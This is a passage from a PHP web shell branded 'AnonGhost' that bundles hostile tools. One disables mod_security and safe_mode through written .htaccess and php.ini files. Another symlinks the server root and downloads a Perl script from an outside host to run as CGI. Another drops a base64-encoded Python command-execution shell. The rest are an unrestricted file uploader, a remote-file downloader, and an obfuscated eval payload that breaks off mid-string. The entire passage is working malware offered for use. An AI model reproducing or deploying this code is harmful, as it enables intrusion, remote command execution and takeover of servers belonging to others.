  936.     $agsm = 'PGhlYWQ+IDx0aXRsZT5CeXBhc3MgU2FmZU1vZGU8L3RpdGxlPjwvaGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL2wvbS9sbWE5OTJkcjQxLmljbyI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyYW50OwltYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tdG9wOiAwcHg7IHRleHQtYWxpZ246IGNlbnRlcjsgTmV3O2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiM1OEZBRjQ7Zm9udC13ZWlnaHQ6NDAwO30NCmF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiM1OEZBRjQ7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDgwODA7fSBhOmhvdmVye2NvbG9yOiNmZjAwMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwYTJhMjt9IC0tPjwhLS0gTWFkZSBCeSBWaXJ1c2EgV29ybSAtLT48L3N0eWxlPjxicj48YnI+PGJvZHk+PHRyPjx0ZD48Yj5CeXBhc3MgU2FmZU1vZGUgMTAwJTwvYj48L3RkPiA8YnI+PGJyPjx0ZD4gPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+IC0gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnlwYXNzIiB2YWx1ZT0iQnlwYXNzIj4gPC9mb3JtPiA8P3BocCBpZigkX1BPU1RbJ2J5cGFzcyddKSB7ICRtb2RzZWNieSA9IEBmb3BlbigiLmh0YWNjZXNzIiwidyIpOyBmd3JpdGUoJG1vZHNlY2J5LCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+IFNlYy0tLS0tLUVuZ2luZSBPZmYgU2VjLS0tLS0tU2NhblBPU1QgT2ZmIDwvSWZNb2R1bGU+Jyk7IGZjbG9zZSgkbW9kc2VjYnkpOyAkcGhwaW5pc2VjYnkxID0gQGZvcGVuKCJwaHAuaW5pIiwidyIpOyBmd3JpdGUoJHBocGluaXNlY2J5MSwnc2FmZV9tb2RlPU9GRiBkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7IGZjbG9zZSgkcGhwaW5pc2VjYnkxKTsgZWNobyAiLmh0YWNjZXNzID0gYnlwYXNzIGNvbXBsZXRlLjxicj5waHAuaW5pID0gYnlwYXNzIGNvbXBsZXRlLjxicj48YnI+IjsgfSA/PiA8L3RkPjwvdHI+IDwvYm9keT48L2h0bWw+';
  937.      
  938.     $file = fopen("agsm.php" ,"w+");
  939.     $write = fwrite ($file ,base64_decode($agsm));
  940.     fclose($file);
  941.         chmod("agsm.php",0755);
  942.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Bypass SafeMode 100% by Mauritania Attacker</b></p><iframe src=agsm/agsm.php width=70% height=60% frameborder=0></iframe>"; }
  943.      
  944.     elseif(isset($_GET['agbpe'])){ echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Bypassed Perl Security</b></p>";
  945.     echo '<center><form method=post><br><br>
  946.                 <input type=submit name=su value="Bypass" /></form></center>';
  947.              
  948.                 error_reporting(0);
  949.                
  950.                 if(isset($_POST['su']))
  951.                 {
  952.                 mkdir('agbper',0755);
  953.         $rr  = " Options +ExecCGI \n AddType application/x-httpd-cgi .sh \n AddHandler mod_python .sh \n AddHandler mod_perl .sh \n AddHandler cgi-script .sh \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl ";
  954.         $g = fopen('agbper/.htaccess','w');
  955.         fwrite($g,$rr);
  956.      
  957.         $agbper = symlink("/","agbper/ag.pl");            
  958.         mkdir('agbper',0755);
  959.         $file = file_get_contents('http://www.ppteo.es/wp-content/languages/es_ES.txt');
  960.         $g = fopen('agbper/ag.pl', 'w');
  961.         fwrite($g,$file);
  962.         fclose($g);
  963.             chmod("ag.pl",0755);
  964.         $agbper = symlink("/","agbper/ag.pl");
  965.                 fwrite($f,$r);
  966.                 $consym="<a href=agbper/ag.pl target='_blank'><font color=#ff0000 size=2 face=\"Courier New\">Click here to open</font></a><br>";
  967.                 echo "<center><br><br>Perl Bypassed Successfully<br><br><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></center>";
  968.                
  969.     }}            
  970.      
  971.     elseif(isset($_GET['agpyt'])) {
  972.         mkdir('agpyt', 0755);
  973.         chdir('agpyt');
  974.             $kokdosya = ".htaccess";
  975.             $dosya_adi = "$kokdosya";
  976.             $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  977.             $metin = "Options +ExecCGI \n AddType application/x-httpd-cgi .sh \n AddHandler mod_python .sh \n AddHandler mod_perl .sh \n AddHandler cgi-script .sh \n AddType application/x-httpd-cgi .py \n AddHandler cgi-script .py \n AddHandler cgi-script .py";    
  978.             fwrite ( $dosya , $metin ) ;
  979.             fclose ($dosya);
  980.     $agpyt = 'IyEvdXNyL2Jpbi9weXRob24NCiMgMDctMDctMDQNCiMgdjEuMC4wDQoNCiMgY2dpLXNoZWxsLnB5DQojIEEgc2ltcGxlIENHSSB0aGF0IGV4ZWN1dGVzIGFyYml0cmFyeSBzaGVsbCBjb21tYW5kcy4NCg0KDQojIENvcHlyaWdodCBNaWNoYWVsIEZvb3JkDQojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQgcmVsaWNlbnNlIHRoaXMgY29kZS4NCg0KIyBObyB3YXJyYW50eSBleHByZXNzIG9yIGltcGxpZWQgZm9yIHRoZSBhY2N1cmFjeSwgZml0bmVzcyB0byBwdXJwb3NlIG9yIG90aGVyd2lzZSBmb3IgdGhpcyBjb2RlLi4uLg0KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISENCg0KIyBFLW1haWwgbWljaGFlbCBBVCBmb29yZCBET1QgbWUgRE9UIHVrDQojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsvYXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbA0KDQoiIiINCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8gZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLg0KIiIiDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIEltcG9ydHMNCnRyeToNCiAgICBpbXBvcnQgY2dpdGI7IGNnaXRiLmVuYWJsZSgpDQpleGNlcHQ6DQogICAgcGFzcw0KaW1wb3J0IHN5cywgY2dpLCBvcw0Kc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQNCmZyb20gdGltZSBpbXBvcnQgc3RyZnRpbWUNCmltcG9ydCB0cmFjZWJhY2sNCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPDQpmcm9tIHRyYWNlYmFjayBpbXBvcnQgcHJpbnRfZXhjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgY29uc3RhbnRzDQoNCmZvbnRsaW5lID0gJzxGT05UIENPTE9SPSM1OEZBRjQgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQtc2l6ZToxMnB0OyI+Jw0KdmVyc2lvbnN0cmluZyA9ICdWZXJzaW9uIDEuMC4wIDd0aCBKdWx5IDIwMDQnDQoNCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToNCiAgICBzY3JpcHRuYW1lID0gb3MuZW52aXJvblsiU0NSSVBUX05BTUUiXQ0KZWxzZToNCiAgICBzY3JpcHRuYW1lID0gIiINCg0KTUVUSE9EID0gJyJQT1NUIicNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBQcml2YXRlIGZ1bmN0aW9ucyBhbmQgdmFyaWFibGVzDQoNCmRlZiBnZXRmb3JtKHZhbHVlbGlzdCwgdGhlZm9ybSwgbm90cHJlc2VudD0nJyk6DQogICAgIiIiVGhpcyBmdW5jdGlvbiwgZ2l2ZW4gYSBDR0kgZm9ybSwgZXh0cmFjdHMgdGhlIGRhdGEgZnJvbSBpdCwgYmFzZWQgb24NCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFsdWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLg0KICAgIChlLmcuIHRvIHJldHVybiBOb25lIHNvIHlvdSBjYW4gdGVzdCBmb3IgbWlzc2luZyBrZXl3b3JkcyAtIHdoZXJlICcnIGlzIGEgdmFsaWQgYW5zd2VyIGJ1dCB0byBoYXZlIHRoZSBmaWVsZCBtaXNzaW5nIGlzbid0LikiIiINCiAgICBkYXRhID0ge30NCiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0Og0KICAgICAgICBpZiBub3QgdGhlZm9ybS5oYXNfa2V5KGZpZWxkKToNCiAgICAgICAgICAgIGRhdGFbZmllbGRdID0gbm90cHJlc2VudA0KICAgICAgICBlbHNlOg0KICAgICAgICAgICAgaWYgIHR5cGUodGhlZm9ybVtmaWVsZF0pICE9IHR5cGUoW10pOg0KICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdGhlZm9ybVtmaWVsZF0udmFsdWUNCiAgICAgICAgICAgIGVsc2U6DQogICAgICAgICAgICAgICAgdmFsdWVzID0gbWFwKGxhbWJkYSB4OiB4LnZhbHVlLCB0aGVmb3JtW2ZpZWxkXSkgICAgICMgYWxsb3dzIGZvciBsaXN0IHR5cGUgdmFsdWVzDQogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB2YWx1ZXMNCiAgICByZXR1cm4gZGF0YQ0KDQoNCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1zaGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+DQo8Qk9EWT48Q0VOVEVSPg0KPEgxPldlbGNvbWUgdG8gY2dpLXNoZWxsLnB5IC0gPEJSPmEgUHl0aG9uIENHSTwvSDE+DQo8Qj48ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPg0KIiIiK2ZvbnRsaW5lICsiVmVyc2lvbiA6ICIgKyB2ZXJzaW9uc3RyaW5nICsgIiIiLCBSdW5uaW5nIG9uIDogIiIiICsgc3RyZnRpbWUoJyVJOiVNICVwLCAlQSAlZCAlQiwgJVknKSsnLjwvQ0VOVEVSPjxCUj4nDQoNCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIgQ29tbWFuZDwvSDI+DQo8Rk9STSBNRVRIT0Q9XCIiIiIgKyBNRVRIT0QgKyAnIiBhY3Rpb249IicgKyBzY3JpcHRuYW1lICsgIiIiXCI+DQo8aW5wdXQgbmFtZT1jbWQgdHlwZT10ZXh0PjxCUj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+DQo8L0ZPUk0+PEJSPjxCUj4iIiINCmJvZHllbmQgPSAnPC9CT0RZPjwvSFRNTD4nDQplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5nIFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBtYWluIGJvZHkgb2YgdGhlIHNjcmlwdA0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIHByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyDQogICAgcHJpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgc28gaXMgdGhpcyBibGFuayBsaW5lDQogICAgZm9ybSA9IGNnaS5GaWVsZFN0b3JhZ2UoKQ0KICAgIGRhdGEgPSBnZXRmb3JtKFsnY21kJ10sZm9ybSkNCiAgICB0aGVjbWQgPSBkYXRhWydjbWQnXQ0KICAgIHByaW50IHRoZWZvcm1oZWFkDQogICAgcHJpbnQgdGhlZm9ybQ0KICAgIGlmIHRoZWNtZDoNCiAgICAgICAgcHJpbnQgJzxIUj48QlI+PEJSPicNCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJSPicNCiAgICAgICAgcHJpbnQgJ1Jlc3VsdCA6IDxCUj48QlI+Jw0KICAgICAgICB0cnk6DQogICAgICAgICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkNCiAgICAgICAgICAgIGNoaWxkX3N0ZGluLmNsb3NlKCkNCiAgICAgICAgICAgIHJlc3VsdCA9IGNoaWxkX3N0ZG91dC5yZWFkKCkNCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpDQogICAgICAgICAgICBwcmludCByZXN1bHQucmVwbGFjZSgnXG4nLCAnPEJSPicpDQoNCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNvbW1hbmQNCiAgICAgICAgICAgIHByaW50IGVycm9ybWVzcw0KICAgICAgICAgICAgZiA9IFN0cmluZ0lPKCkNCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpDQogICAgICAgICAgICBhID0gZi5nZXR2YWx1ZSgpLnNwbGl0bGluZXMoKQ0KICAgICAgICAgICAgZm9yIGxpbmUgaW4gYToNCiAgICAgICAgICAgICAgICBwcmludCBsaW5lDQoNCiAgICBwcmludCBib2R5ZW5kDQoNCg0KIiIiDQpUT0RPL0lTU1VFUw0KDQoNCg0KQ0hBTkdFTE9HDQoNCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wDQpBIHZlcnkgYmFzaWMgc3lzdGVtIGZvciBleGVjdXRpbmcgc2hlbGwgY29tbWFuZHMuDQpJIG1heSBleHBhbmQgaXQgaW50byBhIHByb3BlciAnZW52aXJvbm1lbnQnIHdpdGggc2Vzc2lvbiBwZXJzaXN0ZW5jZS4uLg0KIiIi';
  981.     $file = fopen("agpyt.py" ,"w+");
  982.     $write = fwrite ($file ,base64_decode($agpyt));
  983.     fclose($file);
  984.         chmod("agpyt.py",0755);
  985.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Bypassed python Security</b></p><iframe src=agpyt/agpyt.py width=75% height=60% frameborder=0></iframe>"; }
  986.      
  987.     elseif(isset($_GET['agup'])){ echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Uploader Bypass</b></p>";
  988.             echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  989.             echo '<input type="file" name="file" size="40"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  990.             if( $_POST['_upl'] == "Upload" ) {
  991.                     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }
  992.                     else { echo '<b>Upload Done !!!</b><br><br>'; }
  993.             }
  994.     }  
  995.     elseif(isset($_GET['agdon'])){ echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Download Remote File</b></p>";
  996.     echo $head.$formp.$nowaddress.'<p align="center"><br>Address : <input name=adlr size=50><br>Save To : <input name=adsr value='.getcwd().$slash.' size=50><br><br><input type=submit value="  Download  "></form></p>'; function dirpe($addres){ global $slash; $idd=0; if ($dirhen = @opendir($addres)) { while ($file = readdir($dirhen)) { $permdir=str_replace('//','/',$addres.$slash.$file); if($file!='.' && $file!='..' && is_dir($permdir)){ if (is_writable($permdir)) { $dirdata[$idd]['filename']=$permdir; $idd++; } dirpe($permdir); } } closedir($dirhen); } else {               return ("notperm");     } if ($dirdata){ return $dirdata; }else{ return "notfound";     }}}
  997.                        
  998.     elseif(isset($_GET['agbf'])) {  
  999.            
  1000.     $agbf = 'PD9waHAgLy8tLSByZWNvZGVkIGJ5IEFub25HaG9zdCAtLS8vDQpwcmVnX3JlcGxhY2UoIi8uKi9lIiwiXHg2NVx4NzZceDYxXHg2Q1x4MjhceDY3XHg3QVx4NjlceDZFXHg2Nlx4NkNceDYxXHg3NFx4NjVceDI4XHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NVx4MjgnbFp6UGJqdkpib1gzQWZJT2c4RXNrczJGdSt1ZmhNRjlrOTVJbHJYS09wakhqNHY5ZmF6KytRYURaQ0hZbGx2ZFZTenluRU1XUzMvODlmbitmUDMyMnovKytkdnZ4MS9qNC91MUgzLzE5djBheDEvdHZmNmUvK3VmMzYvdCsxWE85L2JiOSt2Ny8vdjNkZnZYOSt0eC9oNy9tKzkvbmovYjk4L3hmVzNwMzY5MitYdWM3LzN5LyszWHYydTUvUDE5cjNMN2NmMzQ5WDcxeCtmTC9jZjkyby8vOTc5NTNzL3h6UEhXdjVuUC96YStuL1AvZWIrZno3dmVyL3dZWC9ueC9POXI2MC83L2QzNCtyOCs3Ly8xZWVhM2Y0OTdmSzkxKy81Ly8vNVp2OStyMzUvcjcvTzlNWDFrK3MwWDQvLysvMmpudmZyemZMWDlYSXY2ZmMyWTkvbGVwLzc2ZnYvN1o5MjU1N2JXc0ZlZU9lMVorUHowdStmNS94alhmUDZHWGI3TzYrZlBlZjNnTlo4OVB6UFhlWDVtNEFPZCs5WTVCdng0Mm1yZUk5YndjWDV1K3Y5Y3d6bkg5bkUrSzU3emVmcjlIUCs4YnR6UDMyZmM3SXl6K1ptTDc4Wlk5dE8relZqaUZlUHR2T1kxNDN5Tzl5c2Y1eXZzOFhIK2Y0NDVZdkRHZXp5bnMxN1RwbUduZXQ0M3hzODg1M3I0di9uWkdGdGZkcDMzaXVzcU50OVBMSmcyaS9YRHYrYXo1bHJPditNZWZENXNDcGJrMzNmR3V1SGY5NHR2dnJEYng3cDN6TzJMdjIrbmphZmRPdU9jZUJXMjJjNzd4RGp3amVtREZWOFp6Ry82dTMrSHZXN24ybzU2am52dy8vQzNGODkvblBmcWpLMCtUdjlvZzN2ZHpuWHB6R09PYWE1YmZhNllqL2NHOHgybkR6akh3TEI2WGg4MitqaWZQZGRuMmprd3VaN1BuVC9EM3o3T3RZaTF2dnAyWFRhdCtpcitPVzBUOGQ3TzU4VTQ3c1NxYzdsamczSmVGejdHdXMvNVQxK1k4VDNuT3ZraE1QaUxOZCtKUDJ3eTV6VS9IekYweDZkdXhOMlR1SDJlc1I4Mjc1YzUzODhZcUR3L1h2ZUZML0Y4MWo1c3JTL3Y2L29aODkxMTJJalIyL3A3K3ZxYzB4empuR3RuSGpIMkYvZnRsM2dlakpIM0Ntc3h1VFBzOE1TRzQrS2ZEOVlQL3gxeVpzZlcyN2t1NFp2TUxkWndQK2NTZHJpenh2dkNtdm1zK1g3dzIzNWljY3lEejBYTWRueUpOUTFzQXdkaTdvT3g3L3p2ZHBrL0hCQisrbVFkNnZLQmVkMjA3N3l1dWI0UDFnWSttTmVMZFdFRE9HMnU5L1RqakptTm1OcVlLL09iL2hQcmZEL0hXN2wvdzIvRnFjbzhwNDFtWEJRNTVYRmVWNG5Qc0g5aDdqZDhBYTdSQnRNZTRZTUZyQk12NEt3cUYyMzQrZ1kyak5QR0hmOHlkc0plY0ZPWEl3WnJ6L3BGN0h6Z24rMWN5OUJlci9ONTgvM0FrSTM3NlZOd2wrdnYvU3VZa1dPOUx6K3YrTmY4NmJPYVd1cUNSZE9PNFdQNHhWelQ2UU5WN216bk9NTHUyOUpLWWNlK2JGUEF5K0IyZmFIQ24xOHJEZ3VZWDhWaThHOW94OWM1cDhEMGdqODJ4anV3eDllSzl3YkdObncrL0JtN3g1eUkvUXArQkY3QUQyRlh0TmowZ1lpNXh2MXU1N01iR0x2anA0MDROdTZHY1FQbXhYUEhxUm5Dbm9YMWVDMStDSzMwQnVlNVp3RmJpdlluanFvODhUN1h0OEdsNFd2Z2F0Z0RqbXh3ajllMUN4OE90TTdZMTdPNzYvZ0E1OUZCZ1YwdjRxNHhuM3ArWnNkZnhuMXgvZ0NMT3B4VjBVdHovdUc3OHRET3VuOFJCMkJmMlBYenZDNjRpL2VDazhoUFVxTjhZSHN3STU3WmVjYUQrUFI5TktkOFB5NjJLeDlyYlVJdkQvenplZHF2RXlQcHYzZDg3SGxpU2RvUmpSQVlPZmpNWS9GTnc4L1RUM2htK05HMjFpbkdjY04veExqYmFiL0F0ODlsMjg3NElsN0VWclJWWUVsRHIrMXJmWUlidEkzeEI2OEhYc3FseE5jQUF5cTZyOHFyY2tkZm1yMmdtZFYzYXZ1R2RzNThRdHVqR3pweEdCaHpYenE3Z2FQMWtwZUdQOVp6ckoxeE51UHZpK2QxNXFtbU5aN2tsay84UzYzWHdJNE5qaVJlNHI3RWw3WUxEcjR0M3h4b2dORFY0cFNZdlMyYm1rZW9YNnZqaGE4Q1YzYmlkeWZtTyt1T1h1cDFjWHJNczhKYjVJdVRNNmJkQjdIZjliczNIQTJYaVYyaEE5cmkxdzRYUlB4c2ZINUR6L1NseWFiTlk1ejNjODVoSzNnbE5COXgzclIxd3hZYmZzUDl6QjhHT0JMeitnVHpyN2lOclFQUDVBN21yejVLWDNjTUc4OGZ2TUNnb3Q0RGl4dnozT0dINExkK2ZyYkJSWUU5ajdYTzVxL21meFhicWl2Ri9wZ0x1VkxnaGpwZXZ6ZmZnTmNpUGg2THo4TTMxSE5nVGtVVGRIVUhlTmpsenE4ajg5M0FFLzJybnU5Rkx0R096UE02NjlQVVRZeDlnQnZ5dGZjSVByTTJBVzZGM2IvUUpJL1RkcVV0dlJEemE3L09yZHd1L2dwV211dUZQWW52Z1IwR2VVT3hCbEhnVXJXTm1DUytQVmxqOGpzeHREc2Y0ajlzMU9DOGk3K0Z6M0I5Tjg5QjY2c0hJMmJHK1d6dkc1aFVqNnlURExna1hvL2YvL3ozZi92anI5djIxYXpMaFhiNk9LLy9KVC9kanN6ZnFyVUU4SzFpNnlHL1k2ZUc3MWMwZ0xnOEdOOUFEemE0SWV5Mkwvd0xuc2VQaDduK2RzR1FCb2QrZ0ZIa3UrcTdPYTZDSm84NHhEL00vZFRsWWJNMy84Yy9obm56Si9GMUp3WlovMG85Y2FnOSs0VzNHL29GTFJDNFQ3NWN5Yjg2R3NhOHNMT0dsWEhzNkRIejZnRWZaSTJqODVObnhkcXI0Y0M1d0VRd2VzQWw4bmxvZFRrT2JSUDNlQk56YU1HR1ZpemJpbUZqZE1CdEJRNXQ4SHBCMndRbllOUFFCT05TMXdLdk83NGRmbDVZczc1OEovRDBjZnBCVjR2MHBVMnRNVVI5Z1RGMmVRMS9DdXlnbm1uKzJJaHB0YlY2Mjd4eW9MTzdPdVMrL0Q5MVJUMnlqaGJqSnpiai9tVnBKTmV4djVkV0M0M0t2Y0oyOE1XQUl3SzcwQlZWcmFGMnZPam1KalozN3NIenRQUEFkcFUxRHZzTzFvVzR0cDdYNGQrczE5V2xmK3BZZmpuSVR5cFlhNzJsVWZmWnlRdHF2Znl0ZHRyUFY5YjVObXdEUmx2L2IvQjJySzM4K2NBM3dkS21yck9tdGwvMEROemJ6Wi9RTFIydDFZM0RmZm5Nc0xaNW1ZdjVlZWlzY3RFUmIzQVdtOFh6cVZPYUIyUU8va0JUZktDZjFVSGt5ZzJPcStpUlpvN1cwQVRXdEkwYnNESnNzaTIrR28vbHI5NVhMQ3BxYkhMVTRCaHFCeDNNS3ZoSk5lOTh3RkhFY1RkdjJaWS9aRjF0d3g2dmN5NzdlK25kVVZaOUxOZDNoMlBSM2RiNEMvd1NjOXF4RVRyRU9seXNGYkVSTVZhV1A4Vm4wZUdCWDJvbThNRzhmYWhseExyUGhkMU5ERUIvRFBTRytVWEU0TmVSTloySS8yM0Y2N2prUlIwc3VPYWlhc21CSGdsYlc1ZUJTd3I0VkxlRi9WM05kUVBEOGFHQ1RySG1Mc2NIRHpMVzZocVpaNkgvd2xaeUZCeFV3TzZLQm85ODJYanUyRkVzUkpObC9RbGNxTVM2dGR5b1cxQ1BqZXY3MG92dVZWaDdEVDNSNEV0c2xibTY5YnhQNHZhSno0TlR6VnBjWDF4Uzc4c08xbFBreXFIbXFvdmI4di93WHNUTUJXL1Zsb0hEMUFRNytIN1ZMOWEzS2o2YU5iLzc0dUw1eklhR2FxeWJkYUpHUHRDc0UyNnMyY2VSZGVEQXR0dXlSZVp4NkNKejNPR2FsL041alR3dE9FdmQvb2t0M3NTUE5ZSTN0aGVQMVRwUHROeGo0WW80RmZuRWc3SGZ6ckVWZE5BT1gwZE12T0FUY3ZJaDN1REx4WHI3QXc3czV6UGMwNHg2UTJjZWhWamZpY01QL0pLODFmcnFJRThzckZ2aUUvRm5QU0gycGFtL2hnNUZtNHY5RlI0b1lwOWFCc3pJdXBGMUdHTEpuRHAvV2ljRzc4TUh3WkNzTlZHdnI5U3h3NGZneThwK2hMNGIrb1R4eHJQQm1MSXZucEUvSXBjQVk5UUw4Wnk2eGhmK3VXUEQyK0tJNE5LT1QvVVZDK2JHZGF6NUZUNHp3TmZHT2xSekJOWk96Vzh0WXVCTDVwaUYrbDdGbjF0ZE1UcjJwVVBjUjlGUGZHYXpEdjg4c3M0VStPRzR5WmtibkZUSW45VHU3c1ZXT2J1ekZ1Q2Yra0plck9TbkhmM1NpVEUxdGpXVjF0WnpVcCtSS3c1c012RC9XbFplMDI2TFg5cTQrRVZaYS9oTEhXSXN6VmlwbjZnZmdnZTV0K09QMzRuM1FUN3F2dkpBRzBYczdrc2J4cHFBd2JsSDl6cXk3cVErajdVbmo0aTR3TjRWN0ExTXRPN01Pbysrc0N2R2dtWjJ6ekhxNzUzMWVLUG5zTCsxd3NEMkJqZkFKKzZOVjNNWTlMbXhuUFhNYldramE0M3VFWnZueXAvbWllRVg2aks0ekJxR1BTd0ZiQzd3aVBPcTVMSERQRXZlVmhkOUxteS85a1lFOS9HOHhNam5pUlBOMnYrMi9LS1RqeFU0MXJodjR1b0RmMUtYYW8vN0JYdlFtTzdSdTI4UTl5Q1hpN1Y0ZzV2bTNnOThuVFVjNUg4TjdsYy9odzI5bHJxWGU1WFdjdVRZWWx5MnhmdFZ2dnc2c2s1VHpZbGZLNTVqYi9XTlR6M1B0WXozd1h2NXNYTk5vNjdmaWFsQkhJb3AydUc2UHlUL2hFWXl2dUdPcmwrU3gxY3g2NzF3dUxZVlc5WXYrcll3UDlaVm5VcDhCWTdLczNMc0ozTUQzeExQWHVmdkF3MVMrdkpEOVdQZ01YaGhmaFcvNzJDMHRSTGlZYUJsWXEyMEcvZzExeTMydGVXTERnYThqNlZoNUJScU9OWnJPcldZTGw3NG5DLzg3ZXZJZmFWR0hoSFg0a3VkL0s2ZzNUdTFudHlmTUFZdU9WMzR1cHJJbXBJMUQrNnppKy9rOUprLzF5TnJuTW1wY0g1bzZ1MnN5NzFIdjF1WGErU1Y3dEdIcjdwMjFCQTY4Ulgrd2Y2Q2ZHU2RzMkxqK0d3RkYxL0VISm84OEZYY0FDdXRLd1ErZzFlRDM4MHIzSitMV0gyc0dBbDdxOWY2R29kMTVuYmhCZnRzMUxIV1FuUHZtbGVodHREY0syWmRPblBSOWxtRG8wWmxmWHNuTDhzOWRuSi81eDcrUzUzTEdrUEUwSDVrNzBQRU5EbXF1VVR3R0hudzRQLzJNR1F0OTRrdldldTk1UC9XK3pzYVh0K3Q1bWp5L0p1Zis5S2E5Yjdpc29OeFlTZldJdUpCUHNSSHVscVduTWU5bW9wMmpSckJDMS9GQnlNZkxQb3FQQUVQV0F2SWZPR0NGYTUxN3NlSTE1Mll2cTNuRHZDcW84L01nWUx6NE1EUTFPUkp6c2ZhVWVwTWJZclB1bjZET2src1IxbjRVdEFPRGIrWW40dTh6K2UzQzdadDV6MDZPVXRpYTF2OWJBV01iZVNLbmRnZGx4eXFxci9nVlhPQnlqM1VhdXJpcHUvY2xwOEhwOTZKcGJMV0lmY014ZmJuOFd2L2xyVUs4cTBCTnJ2M0ZicmpmdEYxMXF3KzhIRzFDM2FKSExVcy80dDF2L3JPNTdIMm44a0pLcHF5RStmMk53enlOV3UxSFk1WDAxWTBpUEZjcWFObkR4djVnWG91YWtDRmVDQy9HK1RualRqMFdmWmF1Y2VXZTEva2xGZGQyN2QveFJEM2k5U1g3cmVucHVBWmhiV3ZkWEZmMkVFK3M2NEJEN25ucTA2d1B6Qjd1TXo1NE1kbVRxeFd3U2ZWRm1Vc254VmY5SXRCTEpSeTZUTjlrTCtUNjl0ekZQNkt0dXZtdFkxWTNZN3NVYkhYTlBRdGViR2NVZkdoR0FPMmpyaTRhSy9jSDdPT1VGaUhCM1BmTHY1RkxpeC9OWEE5K09PKzFqOTdCK0VZZTliazJzQloxc2M5cDBZdHo1cFR2ZVJzOXNzVitqeWJmR2x1aDM0T